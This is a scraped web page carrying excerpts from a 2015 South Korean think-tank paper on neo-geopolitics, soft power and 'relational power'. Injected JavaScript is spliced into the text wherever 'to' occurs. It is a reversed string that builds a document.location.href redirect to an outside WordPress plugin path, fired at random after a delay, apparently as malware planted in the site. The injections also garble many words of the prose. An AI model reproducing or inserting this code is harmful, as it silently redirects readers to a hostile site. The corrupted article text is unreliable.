Presented by Anna,

Produced by Think-Tanks’TV.

Source :

INSTITUTE  OF  FOREIGN  AFFAIRS  AND  NATIONAL  SECURITY

IFANS is Korea’s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top foreign policy and security think tank.

Their website: ifans.go.kr .

KIM Taehwan

A Neo-geopolitics approach toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to South Korea's Eurasia Initiative. 26/03/2015

 

 

Excerpts:

 

 

Classic geopolitics, understoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tood as the “theory of the state as a geographical organism or phenomenon in space” or the “struggle between the states over the control of spaces and places”, has developed since the 19^th century.

Government-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-government diplomacy and war, as an extension of diplomacy, are the major means of defining and regulating inter-state geopolitical relations, in which hard power (military and economic capabilities in particular) has reigned as the dominant source of influence.

As a result, the international society has been shaped in a hierarchical order. Different groupings of nations such as great, middle, and smaller powers, or core, semi-periphery, and periphery, in fact reflect a hierarchical stratification of nations in terms of the size of their hard power.

In the 21^st century, however, the international order is changing well beyond the post-Cold War structure. The technological innovations as “meta-power” are triggering changes in the existing world order, which has been put in place since the Westphalia Treaties in the mid-17^th century.

In a global network society in an information age, non-state actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors such as NGOs, corporations, and even individuals are coming toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the surface of the international society, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with the traditional nation-state actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors. New types of power are arising as a source of influence and persuasion, one of which is soft power.

Other types of power include “social power”, “network power”, and “collaborative power” which are based not on particular attributes of the power wielders, but rather on the relations between the actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors.

The new types of power could be subsumed under the rubric of “relational power”, in which power is embedded in social relationship between the actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors and thus, the notion of “power over” is replaced with the notion of “power with”.